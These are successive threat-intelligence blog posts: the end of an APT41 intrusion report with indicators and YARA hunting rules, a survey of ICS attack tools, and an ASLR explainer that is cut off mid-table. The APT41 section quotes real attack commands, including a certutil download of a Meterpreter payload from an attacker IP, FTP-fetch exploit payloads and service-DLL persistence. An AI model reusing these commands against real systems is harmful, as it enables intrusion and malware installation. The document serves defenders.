reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f

net start "%SERVICE_NAME%"

Figure 8: Contents of install.bat

Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.]com (with a DNS resolution of 74.82.201[.]8) using a jquery malleable command and control (C2) profile.

GET /jquery-3.3.1.min.js HTTP/1.1
Host: cdn.bootcss.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://cdn.bootcss.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM
DA8y_rXEJQGZ6Xlkp_wCoqnImD-bj4DqdTNbj87Rl1kIvZbefE3nmNunlyMJZTrDZfu4EV6oxB8yKMJfLXydC5YF9OeZwqBSs3Tun12BVFWLI
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive Cache-Control: no-cache

Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request

Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we’ve observed APT41 use in past intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). The file 2.exe was a VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode. The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit.

GET /2.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.3
Host: 91.208.184[.]78

Figure 10: Example HTTP request downloading ‘2.exe’ VMProtected Meterpreter downloader via CertUtil

certutil  -urlcache -split -f http://91.208.184[.]78/2.exe

Figure 11: Example CertUtil command to download ‘2.exe’ VMProtected Meterpreter downloader

The Meterpreter downloader ‘TzGG’ was configured to communicate with 91.208.184[.]78 over port 443 to download the shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version).

GET /TzGG HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
Host: 91.208.184[.]78:443
Connection: Keep-Alive
Cache-Control: no-cache

Figure 12: Example HTTP request downloading ‘TzGG’ shellcode for Cobalt Strike BEACON

The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.]78. We believe this is an example of the actor attempting to diversify post-exploitation access to the compromised systems.

ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an update on March 7, 2020, with a long term fix.

Outlook

This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years. While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high operational tempo and wide collection requirements for APT41.

It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.

Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian Confluence) against a U.S. based university. While APT41 is a unique state-sponsored Chinese threat group that conducts espionage, the actor also conducts financially motivated activity for personal gain.

Indicators

Type

Indicator(s)

CVE-2019-19781 Exploitation (Citrix Application Delivery Control)

66.42.98[.]220

CVE-2019-19781 exploitation attempts with a payload of ‘file /bin/pwd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/bsd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un’

/tmp/bsd

/tmp/un

Cisco Router Exploitation

66.42.98\.220

‘1.txt’ (MD5:  c0c467c8e9b2046d7053642cc9bdd57d)

‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc

CVE-2020-10189 (Zoho ManageEngine Desktop Central)

66.42.98[.]220

91.208.184[.]78

74.82.201[.]8

exchange.dumb1[.]com

install.bat (MD5: 7966c2c546b71e800397a67f942858d0)

storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f)

C:\Windows\Temp\storesyncsvc.dll

C:\Windows\Temp\install.bat

2.exe (MD5: 3e856162c36b532925c8226b4ed3481c)

C:\Users\[redacted]\install.bat

TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9)

C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe spawning cmd.exe and/or bitsadmin.exe

Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.]78

PowerShell downloading files with Net.WebClient

Detecting the Techniques

FireEye detects this activity across our platforms. This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.

Platform

Signature Name

Endpoint Security

 

BITSADMIN.EXE MULTISTAGE DOWNLOADER (METHODOLOGY)

CERTUTIL.EXE DOWNLOADER A (UTILITY)

Generic.mg.5909983db4d9023e

Generic.mg.3e856162c36b5329

POWERSHELL DOWNLOADER (METHODOLOGY)

SUSPICIOUS BITSADMIN USAGE B (METHODOLOGY)

SAMWELL (BACKDOOR)

SUSPICIOUS CODE EXECUTION FROM ZOHO MANAGE ENGINE (EXPLOIT)

Network Security

Backdoor.Meterpreter

DTI.Callback

Exploit.CitrixNetScaler

Trojan.METASTAGE

Exploit.ZohoManageEngine.CVE-2020-10198.Pwner

Exploit.ZohoManageEngine.CVE-2020-10198.mdmLogUploader

Helix

CITRIX ADC [Suspicious Commands]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Success]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Payload Access]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning]
 MALWARE METHODOLOGY [Certutil User-Agent]
 WINDOWS METHODOLOGY [BITSadmin Transfer]
 WINDOWS METHODOLOGY [Certutil Downloader]

MITRE ATT&CK Technique Mapping

ATT&CK

Techniques

Initial Access

External Remote Services (T1133), Exploit Public-Facing Application (T1190)

Execution

PowerShell (T1086), Scripting (T1064)

Persistence

New Service (T1050)

 

Privilege Escalation

Exploitation for Privilege Escalation (T1068)

 

Defense Evasion

BITS Jobs (T1197), Process Injection (T1055)

 

 

Command And Control

Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol (T1071)

Appendix A: Discovery Rules

The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or tradecraft into new haystacks for purposes of detection or hunting. For all tradecraft-based discovery rules, we recommend deliberate testing and tuning prior to implementation in any production system. Some of these rules are tailored to build concise haystacks that are easy to review for high-fidelity detections. Some of these rules are broad in aperture that build larger haystacks for further automation or processing in threat hunting systems.

import "pe"

rule ExportEngine_APT41_Loader_String

{

            meta:

                        author = "@stvemillertime"

                        description "This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as loader_X86_svchost.dll"

            strings:

                        $pcre = /loader_[\x00-\x7F]{1,}\x00/

            condition:

                        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule ExportEngine_ShortName

{

    meta:

        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a single character"

    strings:

        $pcre = /[A-Za-z0-9]{1}\.(dll|exe|dat|bin|sys)/

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule ExportEngine_xArch

{

    meta:

        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a something like x32.dat"

            strings:

             $pcre = /[\x00-\x7F]{1,}x(32|64|86)\.dat\x00/

            condition:

             uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule RareEquities_LibTomCrypt

{

    meta:

        author = "@stvemillertime"

        description = "This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors https://github.com/libtom/libtomcrypt - might catch everything BEACON as well. You may want to exclude Golang and UPX packed samples."

    strings:

        $a1 = "LibTomMath"

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $a1

}

rule RareEquities_KCP

{

    meta:

        author = "@stvemillertime"

        description = "This is a wide catchall rule looking for executables with equities for a transport library called KCP, https://github.com/skywind3000/kcp Matches on this rule may have built-in KCP transport ability."

    strings:

        $a01 = "[RO] %ld bytes"

        $a02 = "recv sn=%lu"

        $a03 = "[RI] %d bytes"

        $a04 = "input ack: sn=%lu rtt=%ld rto=%ld"

        $a05 = "input psh: sn=%lu ts=%lu"

        $a06 = "input probe"

        $a07 = "input wins: %lu"

        $a08 = "rcv_nxt=%lu\\n"

        $a09 = "snd(buf=%d, queue=%d)\\n"

        $a10 = "rcv(buf=%d, queue=%d)\\n"

        $a11 = "rcvbuf"

    condition:

        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 5MB and 3 of ($a*)

}

rule ConventionEngine_Term_Users

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "09e4e6fa85b802c46bc121fcaecc5666"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Users[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

}

rule ConventionEngine_Term_Desktop

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "71cdba3859ca8bd03c1e996a790c04f9"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Desktop[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

}

rule ConventionEngine_Anomaly_MultiPDB_Double

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "013f3bde3f1022b6cf3f2e541d19353c"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #pcre == 2

}

Monitoring ICS Cyber Operation Tools and Software Exploit Modules To Anticipate Future Threats

There has only been a small number of broadly documented cyber attacks targeting operational technologies (OT) / industrial control systems (ICS) over the last decade. While fewer attacks is clearly a good thing, the lack of an adequate sample size to determine risk thresholds can make it difficult for defenders to understand the threat environment, prioritize security efforts, and justify resource allocation.

To address this problem, FireEye Mandiant Threat Intelligence produces a range of reports for subscription customers that focus on different indicators to predict future threats. Insights from activity on dark web forums, anecdotes from the field, ICS vulnerability research, and proof of concept research makes it possible to illustrate the threat landscape even with limited incident data. This blog post focuses on one of those source sets—ICS-oriented intrusion and attack tools, which will be referred to together in this post as cyber operation tools.

ICS-oriented cyber operation tools refer to hardware and software that has the capability to either exploit weaknesses in ICS, or interact with the equipment in such a way that could be utilized by threat actors to support intrusions or attacks. For this blog post, we separated exploit modules that are developed to run on top of frameworks such as Metasploit, Core Impact, or Immunity Canvas from other cyber operation tools due to their exceedingly high number.

Cyber Operation Tools Reduce the Level of Specialized Knowledge Attackers Need to Target ICS

As ICS are a distinct sub-domain to information and computer technology, successful intrusions and attacks against these systems often requires specialized knowledge, establishing a higher threshold for successful attacks. Since intrusion and attack tools are often developed by someone who already has the expertise, these tools can help threat actors bypass the need for gaining some of this expertise themselves, or it can help them gain the requisite knowledge more quickly. Alternatively, experienced actors may resort to using known tools and exploits to conceal their identity or maximize their budget.


Figure 1: ICS attacker knowledge curve

The development and subsequent adoption of standardized cyber operation tools is a general indication of increasing adversarial capability. Whether these tools were developed by researchers as proof-of-concept or utilized during past incidents, access to them lowers the barrier for a variety of actors to learn and develop future skills or custom attack frameworks. Following this premise, equipment that is vulnerable to exploits using known cyber operation tools becomes low-hanging fruit for all sorts of attackers.

ICS Cyber Operation Tool Classification

Mandiant Intelligence tracks a large number of publicly available ICS-specific cyber operation tools. The term "ICS-specific," as we employ it, does not have a hard-edged definition. While the vast majority of cyber operation tools we track are clear-cut cases, we have, in some instances, considered the intent of the tool's creator(s) and the tool's reasonably foreseeable impact on ICS software and equipment. Note, we excluded tools that are IT-based but may affect OT systems, such as commodity malware or known network utilities.  We included only a few exceptions, where we identified specialized adaptations or features that enabled the tool to interact with ICS, such as the case of nmap scripts.

We assigned each tool to at least one of eight different categories or classes, based on functionality.


Table 1: Classes of ICS-specific intrusion and attack tools

While some of the tools included in our list were created as early as 2004, most of the development has taken place during the last 10 years. The majority of the tools are also vendor agnostic, or developed to target products from some of the largest ICS original equipment manufacturers (OEM). Siemens stands out in this area, with 60 percent of the vendor-specific tools potentially targeting its products. Other tools we identified were developed to target products from Schneider Electric, GE, ABB, Digi International, Rockwell Automation, and Wind River Systems.

Figure 2 depicts the number of tools by class. Of note, network discovery tools make up more than a quarter of the tools. We also highlight that in some cases, the software exploitation tools we track host extended repositories of modules to target specific products or vulnerabilities.


Figure 2: ICS-specific intrusion and attack tools by class

Software Exploit Modules

Software exploit modules are the most numerous subcomponents of cyber operation tools given their overall simplicity and accessibility. Most frequently, exploit modules are developed to take advantage of a specific vulnerability and automate the exploitation process. The module is then added to an exploit framework. The framework works as a repository that may contain hundreds of modules for targeting a wide variety of vulnerabilities, networks, and devices. The most popular frameworks include Metasploit, Core Impact, and Immunity Canvas. Also, since 2017, we have identified the development of younger ICS-specific exploit frameworks such as AutosploitIndustrial Exploitation Framework (ICSSPLOIT), and the Industrial Security Exploitation Framework.

Given the simplicity and accessibility of exploit modules, they are attractive to actors with a variety of skill levels. Even less sophisticated actors may take advantage of an exploit module without completely understanding how a vulnerability works or knowing each of the commands required to exploit it. We note that, although most of the exploit modules we track were likely developed for research and penetration testing, they could also be utilized throughout the attack lifecycle.

Exploit Modules Statistics

Since 2010, Mandiant Intelligence has tracked exploit modules for the three major exploitation frameworks: Metasploit, Core Impact, and Immunity Canvas. We currently track hundreds of ICS-specific exploit modules related to more than 500 total vulnerabilities, 71 percent of them being potential zero-days. The break down is depicted in Figure 3. Immunity Canvas currently has the most exploits due in large part to the efforts of Russian security research firm GLEG.


Figure 3: ICS exploit modules by framework

Metasploit framework exploit modules deserve particular attention. Even though it has the fewest number of modules, Metasploit is freely available and broadly used for IT penetration testing, while Core Impact and Immunity Canvas are both commercial tools. This makes Metasploit the most accessible of the three frameworks. However, it means that module development and maintenance are provided by the community, which is likely contributing to the lower number of modules.

It is also worthwhile to examine the number of exploit modules by ICS product vendor. The results of this analysis are depicted in Figure 4, which displays vendors with the highest number of exploit modules (over 10).


Figure 4: Vendors with 10 exploit modules or more

Figure 4 does not necessarily indicate which vendors are the most targeted, but which products have received the most attention from exploit writers. Several factors could contribute to this, including the availability of software to experiment with, general ease of writing an exploit on particular vulnerabilities, or how the vulnerability matches against the expertise of the exploit writers.

Some of the vendors included in the graph have been acquired by other companies, however we tracked them separately as the vulnerability was identified prior to the acquisition. One example of this is Schneider Electric, which acquired 7-Technologies in 2011 and altered the names of their product portfolio. We also highlight that the graph solely counts exploit modules, regardless of the vulnerability exploited. Modules from separate frameworks could target the same vulnerability and would each be counted separately.

ICS Cyber Operation Tools and Software Exploitation Frameworks Bridge Knowledge and Expertise Gaps

ICS-specific cyber operation tools often released by researchers and security practitioners are useful assets to help organizations learn about ongoing threats and product vulnerabilities. However, as anything publicly available, they can also lower the bar for threat actors that hold an interest in targeting OT networks. Although successful attacks against OT environments will normally require a high level of skills and expertise from threat actors, the tools and exploit modules discussed in this post are making it easier to bridge the knowledge gap.

Awareness about the proliferation of ICS cyber operation tools should serve as an important risk indicator of the evolving threat landscape. These tools provide defenders with an opportunity to perform risk assessments in test environments and to leverage aggregated data to communicate and obtain support from company executives. Organizations that do not pay attention to available ICS cyber operation tools risk becoming low-hanging fruit for both sophisticated and unexperienced threat actors exploring new capabilities.

FireEye Intelligence customers have access to the full list and analysis of ICS cyber operation tools and exploit modules. Visit our website to learn more about the FireEye Mandiant Cyber Physical Threat Intelligence subscription.

Six Facts about Address Space Layout Randomization on Windows

Overcoming address space layout randomization (ASLR) is a precondition of virtually all modern memory corruption vulnerabilities. Breaking ASLR is an area of active research and can get incredibly complicated. This blog post presents some basic facts about ASLR, focusing on the Windows implementation. In addition to covering what ASLR accomplishes to improve security posture, we aim to give defenders advice on how to improve the security of their software, and to give researchers more insight into how ASLR works and ideas for investigating its limitations.

Memory corruption vulnerabilities occur when a program mistakenly writes attacker-controlled data outside of an intended memory region or outside intended memory’s scope. This may crash the program, or worse, provide the attacker full control over the system. Memory corruption vulnerabilities have plagued software for decades, despite efforts by large companies like Apple, Google, and Microsoft to eradicate them.

Since these bugs are hard to find and just one can compromise a system, security professionals have designed failsafe mechanisms to thwart software exploitation and limit the damage should a memory corruption bug be exploited. A “silver bullet” would be a mechanism to make exploits so tricky and unreliable that buggy code can be left in place, giving developers the years they need to fix or rewrite code in memory-safe languages. Unfortunately, nothing is perfect, but address space layout randomization (ASLR) is one of the best mitigations available.

ASLR works by breaking assumptions that developers could otherwise make about where programs and libraries would lie in memory at runtime. A common example is the locations of gadgets used in return-oriented programming (ROP), which is often used to defeat the defense of data execution prevention (DEP). ASLR mixes up the address space of the vulnerable process—the main program, its dynamic libraries, the stack and heap, memory-mapped files, and so on—so that exploit payloads must be uniquely tailored to however the address space of the victim process is laid out at the time. Writing a worm that propagates by blindly sending a memory corruption exploit with hard-coded memory addresses to every machine it can find is bound to fail. So long as the target process has ASLR enabled, the exploit’s memory offsets will be different than what ASLR has selected. This crashes the vulnerable program rather than exploiting it.

Fact 1: ASLR was introduced in Windows Vista. Pre-Vista versions of Windows lacked ASLR; worse, they went to great lengths to maintain a consistent address space across all processes and machines.

Windows Vista and Windows Server 2008 were the first releases to feature support for ASLR for compatible executables and libraries. One might assume that prior versions simply didn’t randomize the address space, and instead simply loaded DLLs at whatever location was convenient at the time—perhaps a predictable one, but not necessarily the same between two processes or machines. Unfortunately, these old Windows versions instead went out of their way to achieve what we’ll call “Address Space Layout Consistency”. Table 1 shows the “preferred base address” of some core DLLs of Windows XP Service Pack 3.

DLL

Preferred Base Address

ntdll

0x7c900000

kernel32

0x7c800000

user32

0x7e410000

gdi32

0x77f10000

Table 1: Windows DLLs contain a preferred base address used whenever possible if ASLR is not in place

When creating a process, pre-Vista Windows loads each of the program’s needed DLLs at its preferred base address if possible. If an attacker finds a useful ROP gadget in ntdll at 0x7c90beef, for example, the attacker can assume that it will always be available at that address until a future service pack or security patch requires the DLLs to be reorganized. This means that attacks on pre-Vista Windows can chain together ROP gadgets from common DLLs to disable DEP, the lone memory corruption defense on those releases.

Why did Windows need to support preferred base addresses? The answer lies in performance and in trade-offs made in the design of Windows DLLs versus other designs like ELF shared libraries. Windows DLLs are not position independent. Especially on 32-bit machines, if Windows DLL code needs to reference a global variable, the runtime address of that variable gets hardcoded into the machine code. If the DLL gets loaded at a different address than was expected, relocation is performed to fix up such hardcoded references. If the DLL instead gets loaded as its preferred base address, no relocation is necessary, and the DLL’s code can be directly mapped into memory from the file system.

Directly mapping the DLL file into memory is a small performance benefit since it avoids reading any of the DLL’s pages into physical memory until they are needed. A better reason for preferred base addresses is to ensure that only one copy of a DLL needs to be in memory. Without them, if three programs run that share a common DLL, but each loads that DLL at a different address, there would be three DLL copies in memory, each relocated to a different base. That would counteract a main benefit of using shared libraries in the first place. Aside from its security benefits, ASLR accomplishes the same thing—ensuring that the address spaces of loaded DLLs won’t overlap and loading only a single copy of a DLL into memory—in a more elegant way. Because ASLR does a better job of avoiding overlap between address spaces than statically-assigned preferred load addresses ever could, manually assigning preferred base addresses provides no optimization on an ASLR-capable OS, and is not needed any longer in the development lifecycle.

Takeaway 1.1: Windows XP and Windows Server 2003 and earlier do not support ASLR.

Clearly, these versions have been out of support for years and should be long gone from production use. The more important observation relates to software developers who support both legacy and modern Windows versions. They may not realize that the exact same program can be more secure or less secure depending on what OS version is running. Developers who (still!) have a customer base of mixed ASLR and non-ASLR supporting Windows versions should respond to CVE reports accordingly. The exact same bug might appear non-exploitable on Windows 10 but be trivially exploitable on Windows XP. The same applies to Windows 10 versus Windows 8.1 or 7, as ASLR has become more capable with each version.

Takeaway 1.2: Audit legacy software code bases for misguided ideas about preferred load addresses. 

Legacy software may still be maintained with old tools such as Microsoft Visual C++ 6. These development tools contain outdated documentation about the role and importance of preferred load addresses. Since these old tools cannot mark images as ASLR-compatible, a “lazy” developer who doesn’t bother to change the default DLL address is actually better off since a conflict will force the image to be rebased to an unpredictable location!

Fact 2: Windows loads multiple instances of images at the same location across processes and even across users; only rebooting can guarantee a fresh random base address for all images.

ELF images, as used in the Linux implementation of ASLR, can use position-independent executables and position-independent code in shared libraries to supply a freshly randomized address space for the main program and all its libraries on each launch—sharing the same machine code between multiple processes even where it is loaded at different addresses. Windows ASLR does not work this way. Instead, each DLL or EXE image gets assigned a random load address by the kernel the first time it is used, and as additional instances of the DLL or EXE are loaded, they receive the same load address. If all instances of an image are unloaded and that image is subsequently loaded again, the image may or may not receive the same base address; see Fact 4. Only rebooting can guarantee fresh base addresses for all images systemwide.

Since Windows DLLs do not use position-independent code, the only way their code can be shared between processes is to always be loaded at the same address. To accomplish this, the kernel picks an address (0x78000000 for example on 32-bit system) and begins loading DLLs at randomized addresses just below it. If a process loads a DLL that was used recently, the system may just re-use the previously chosen address and therefore re-use the previous copy of that DLL in memory. The implementation solves the issues of providing each DLL a random address and ensuring DLLs don’t overlap at the same time.

For EXEs, there is no concern about two EXEs overlapping since they would never be loaded into the same process. There would be nothing wrong with loading the first instance of an EXE at 0x400000 and the second instance at 0x500000, even if the image is larger than 0x100000 bytes. Windows just chooses to share code among multiple instances of a given EXE.

Takeaway 2.1: Any Windows program that automatically restarts after crashing is especially susceptible to brute force attacks to overcome ASLR. 

Consider a program that a remote attacker can execute on demand, such as a CGI program, or a connection handler that executes only when needed by a super-server (as in inetd, for example). A Windows service paired with a watchdog that restarts the service when it crashes is another possibility. An attacker can use knowledge of how Windows ASLR works to exhaust the possible base addresses where the EXE could be loaded. If the program crashes and (1) another copy of the program remains in memory, or (2) the program restarts quickly and, as is sometimes possible, receives the same ASLR base address, the attacker can assume that the new instance will still be loaded at the same address, and the attacker will eventually try that same address.

Takeaway 2.2: If an attacker can discover where a DLL is loaded in any process, the attacker knows where it is loaded in all processes. 

Consider a system running two buggy network services—one that leaks pointer values in a debug message but has no buffer overflows, and one that has a buffer overflow but does not leak pointers. If the leaky program reveals the base address of kernel32.dll and the attacker knows some useful ROP gadgets in that DLL, then the same memory offsets can be used to attack the program containing the overflow. Thus, seemingly unrelated vulnerable programs can be chained together to first overcome ASLR and then launch an exploit.

Takeaway 2.3: A low-privileged account can be used to overcome ASLR as the first step of a privilege escalation exploit. 

Suppose a background service exposes a named pipe only accessible to local users and has a buffer overflow. To determine the base address of the main program and DLLs for that process, an attacker can simply launch another copy in a debugger. The offsets determined from the debugger can then be used to develop a payload to exploit the high-privileged process. This occurs because Windows does not attempt to isolate users from each other when it comes to protecting random base addresses of EXEs and DLLs.

Fact 3: Recompiling a 32-bit program to a 64-bit one makes ASLR more effective.

Even though 64-bit releases of Windows have been mainstream for a decade or more, 32-bit user space applications remain common. Some programs have a true need to maintain compatibility with third-party plugins, as in the case of web browsers. Other times, development teams have a belief that a program needs far less than 4 GB of memory and 32-bit code could therefore be more space efficient. Even Visual Studio remained a 32-bit application for some time after it supported building 64-bit applications.

In fact, switching from 32-bit to 64-bit code produces a small but observable security benefit. The reason is that the ability to randomize 32-bit addresses is limited. To understand why, observe how a 32-bit x86 memory address is broken down in Figure 1. More details are explained at Physical Address Extension.


Figure 1: Memory addresses are divided into components, only some of which can be easily randomized at runtime

The operating system cannot simply randomize arbitrary bits of the address. Randomizing the offset within a page portion (bits 0 through 11) would break assumptions the program makes about data alignment. The page directory pointer (bits 30 and 31) cannot change because bit 31 is reserved for the kernel, and bit 30 is used by Physical Address Extension as a bank switching technique to address more than 2GB of RAM. This leaves 14 bits of the 32-bit address off-limits for randomization.

In fact, Windows only attempts to randomize 8 bits of a 32-bit address. Those are bits 16 through 23, affecting only the page directory entry and page table entry portion of the address. As a result, in a brute force situation, an attacker can potentially guess the base address of an EXE in 256 guesses.

When applying ASLR to a 64-bit binary, Windows is able to randomize 17-19 bits of the address (depending on whether it is a DLL or EXE). Figure 2 shows how the number of possible base addresses, and accordingly the number of brute force guesses needed, increases dramatically for 64-bit code. This could allow endpoint protection software or a system administrator to detect an attack before it succeeds.


Figure 2: Recompiling 32-bit code as 64-bit dramatically increases the number of possible base addresses for selection by ASLR

Takeaway 3.1: Software that must process untrusted data should always be compiled as 64-bit, even if it does not need to use a lot of memory, to take maximum advantage of ASLR.

In a brute force attack, ASLR makes attacking a 64-bit program at least 512 times harder than attacking the 32-bit version of the exact same program.

Takeaway 3.2: Even 64-bit ASLR is susceptible to brute force attacks, and defenders must focus on detecting brute force attacks or avoiding situations where they are feasible.

Suppose an attacker can make ten brute force attempts per second against a vulnerable system. In the common case of the target process remaining at the same address because multiple instances are running, the attacker would discover the base address of a 32-bit program in less than one minute, and of a 64-bit program in a few hours. A 64-bit brute force attack would produce much more noise, but the administrator or security software would need to notice and act on it. In addition to using 64-bit software to make ASLR more effective, systems should avoid re-spawning a crashing process (to avoid giving the attacker a “second bite at the apple” to discover the base address) or force a reboot and therefore guaranteed fresh address space after a process crashes more than a handful of times.

Takeaway 3.3: Researchers developing a proof of concept attack against a program available in both 32-bit and 64-bit versions should focus on the 32-bit one first.

As long as 32-bit software remains relevant, a proof-of-concept attack against the 32-bit variant of a program is likely easier and quicker to develop. The resulting attack could be more feasible and convincing, leading the vendor to patch the program sooner.

Fact 4: Windows 10 reuses randomized base addresses more aggressively than Windows 7, and this could make it weaker in some situations.

Observe that even if a Windows system must ensure that multiple instances of one DLL or EXE all get loaded at the same base address, the system need not keep track of the base address once the last instance of the DLL or EXE is unloaded. If the DLL or EXE is loaded again, it can get a fresh base address.

This is the behavior we observed in working with Windows 7. Windows 10 can work differently. Even after the last instance of a DLL or EXE unloads, it may maintain the same base address at least for a short period of time—more so for EXEs than DLLs. This can be observed when repeatedly launching a command-line utility under a multi-process debugger. However, if the utility is copied to a new filename and then launched, it receives a fresh base address. Likewise, if a sufficient duration has passed, the utility will load at a different base address. Rebooting, of course, generates fresh base addresses for all DLLs and EXEs.

Takeaway 4.1: Make no assumptions about Windows ASLR guarantees beyond per-boot randomization.

In particular, do not rely on the behavior of Windows 7 in randomizing a fresh address space whenever the first instance of a given EXE or DLL loads. Do not assume that Windows inherently protects against brute force attacks against ASLR in any way, especially for 32-bit processes where brute force attacks can take 256 or fewer guesses.

Fact 5: Windows 10 is more aggressive at applying ASLR, and even to EXEs and DLLs not marked as ASLR-compatible, and this could make ASLR stronger.

Windows Vista and 7 were the first two releases to support ASLR, and therefore made some trade-offs in favor of compatibility. Specifically, these older implementations would not apply ASLR to an image not marked as ASLR-compatible and would not allow ASLR to push addresses above the 4 GB boundary. If an image did not opt in to ASLR, these Windows versions would continue to use the preferred base address.

It is possible to further harden Windows 7 using Microsoft’s Enhanced Mitigation Experience Toolkit (commonly known as EMET) to more aggressively apply ASLR even to images not marked as ASLR-compatible. Windows 8 introduced more features to apply ASLR to non-ASLR-compatible images, to better randomize heap allocations, and to increase the number of bits of entropy for 64-bit images.

Takeaway 5.1: Ensure software projects are using the correct linker flags to opt in to the most aggressive implementation of ASLR, and that they are not using any linker flags that weaken ASLR.

See Table 2. Linker flags can affect how ASLR is applied to an image. Note that for Visual Studio 2012 and later, the ✔️flags are already enabled by default and the best ASLR implementation will be used so long as no 🚫flags are used. Developers using Visual Studio 2010 or earlier, presumably for compatibility reasons, need to check which flags the linker supports and which it enables by default.

Secure?

Linker Flag

Effect

✔️

/DYNAMICBASE

Marks the image as ASLR-compatible

✔️

/LARGEADDRESSAWARE /HIGHENTROPYVA

Marks the 64-bit image as free of pointer truncation bugs and therefore allows ASLR to randomize addresses beyond 4 GB

🚫

/DYNAMICBASE:NO

